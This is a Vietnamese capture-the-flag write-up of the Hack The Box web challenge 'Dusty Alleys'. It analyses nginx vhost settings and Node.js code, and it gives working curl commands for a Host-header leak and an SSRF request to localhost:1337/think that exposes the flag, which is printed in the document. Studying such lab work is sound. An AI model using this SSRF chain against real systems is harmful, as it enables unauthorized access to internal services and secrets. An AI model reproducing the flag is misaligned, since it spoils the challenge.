[HTB] Dusty Alleys

Zywoo

Tổng quan

Đây là 1 medium web chall của Hack the Box , là 1 bài whitebox testing vì có full source code để đọc

Mục tiêu khai thác là lỗ hổng SSRF để đọc flag nằm trong môi trường ENV FLAG=HTB{REDACTED}

Công nghệ : nodejs làm ngôn ngữ backend chính, nginx (reverse proxy), docker

Đặc điểm: Hệ thống sử dụng Virtual Host (Vhost) với tên miền bí mật và giới hạn truy cập qua Nginx

Phân tích

trong default.conf để bảo vệ nginx, author đã dùng cơ chế virtual hosting để giới hạn quyền truy cập

1
2
3
4
5
6
7
8
9
10
server {
listen 80 default_server;
server_name alley.$SECRET_ALLEY;

location /think {
proxy_pass http://localhost:1337;
proxy_set_header Host $host; # <--- Điểm mấu chốt

}
}

cái listen 80 default_server biến cái server block này thành cái thùng rác nhận mọi request không khớp vs tên miền,
khi curl mà không có host thì sẽ rơi vào đây

proxy_set_header Host $host khi mà nginx chuyển request vào nodejs, nó sẽ tự dộng điền giá trị host mà nó đang giữ.
Vì thuộc block alley.$SECRET_ALLEY, nó sẽ điền đúng tên miền bí mật vào header trước khi gửi cho Node.js

Lỗ hổng tại Application (guardian.js)

lớp application có 2 lỗi lofic nghiêm trọng cho phép thực hiện cuộc tấn công vào hệ thống

1.lỗi kiểm tra whitelist (SSRF bypass)

ở đoạn code kiểm tra tên miền trong hàm /guardian rất lỏng lẻo

1
2
3
4
5
6
const location = new URL(quote);
const direction = location.hostname;

// Lỗi: Logic chỉ kiểm tra nếu kết thúc bằng "localhost"
if (!direction.endsWith("localhost") && direction !== "localhost")
return res.send("guardian", { error: "..." });

Trong môi trường Docker, localhost trỏ thẳng tới chính server node.js đang chạy, giúp bypass lớp bảo vệ của Nginx .Vì request này xuất phát từ nội bộ.

2.lỗi rò rỉ thông tin

Endpoint /think được thiết kế để giúp lập trình viên debug, nhưng lại là vũ khí cho attacker

1
2
3
router.get("/think", async (req, res) => {
return res.json(req.headers); //Lỗ hổng: Trả về mọi thứ trong Header
});

Tổng hợp lỗ hổng

nginx leak : cấu hình default_server giúp truy cập /think qua IP để lấy $SECRET_ALLEY

SSRF: Hàm node-fetch trong /guardian bị lợi dụng để gửi request nội bộ

Header Injection: Đoạn code sau tự đính kèm Flag vào mọi request fetch:

1
2
3
4
let result = await node_fetch(quote, {
method: "GET",
headers: { Key: process.env.FLAG || "HTB{REDACTED}" }, //
}).then((res) => res.text());

Kết quả từ /think (chứa Flag) được hàm res.send(result) trả thẳng về

Khai thác (exploitation)

Vì Nginx sử dụng biến bí mật cho tên miền nên cần tìm nó trước. Lợi dụng việc Nginx cấu hình default_server, mình gửi một request HTTP/1.0 và bỏ trống Host header

curl -v -H "Host:" --http1.0 http://154.57.164.76:32234/think

và respone từ server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
*   Trying 154.57.164.76:32234...
* Established connection to 154.57.164.76 (154.57.164.76 port 32234) from 172.16.0.2 port 54818
* using HTTP/1.x
> GET /think HTTP/1.0
> User-Agent: curl/8.19.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx
< Date: Thu, 16 Apr 2026 15:40:13 GMT
< Content-Type: application/json; charset=utf-8
< Content-Length: 194
< Connection: close
< X-Powered-By: Express
< ETag: W/"c2-tNdDidlLGoftLk5N3w7j7G8SndY"
<
* shutting down connection #0
{"host":"alley.firstalleyontheleft.com","x-real-ip":"104.28.157.197","x-forwarded-for":"104.28.157.197","x-forwarded-proto":"http","connection":"close","user-agent":"curl/8.19.0","accept":"*/*"}%

Server phản hồi JSON chứa "host":"alley.firstalleyontheleft.com".
=> Vậy $SECRET_ALLEY là firstalleyontheleft.com.

khai thác lỗ hổng SSRF lấy flag

Bây giờ mình đã có tên miền để vượt qua lớp bảo vệ của Nginx. Mục tiêu là khiến hàm node-fetch gửi request tới /think để nó lộ ra Header chứa Flag.

Payload:

Target: http://154.57.164.76:32234:<PORT>/guardian

Host Header: guardian.firstalleyontheleft.com

Tham số quote: http://localhost:1337/think (Node.js chạy nội bộ ở port 1337).

lệnh thực thi

curl -H "Host: guardian.firstalleyontheleft.com" \
"http://154.57.164.76:32234/guardian?quote=http://localhost:1337/think"

Output : {"key":"HTB{DUsT_1n_my_3y3s_l33t}","accept":"*/*","user-agent":"node-fetch/1.0 (+https://github.com/bitinn/node-fetch)","accept-encoding":"gzip,deflate","connection":"close","host":"localhost:1337"}%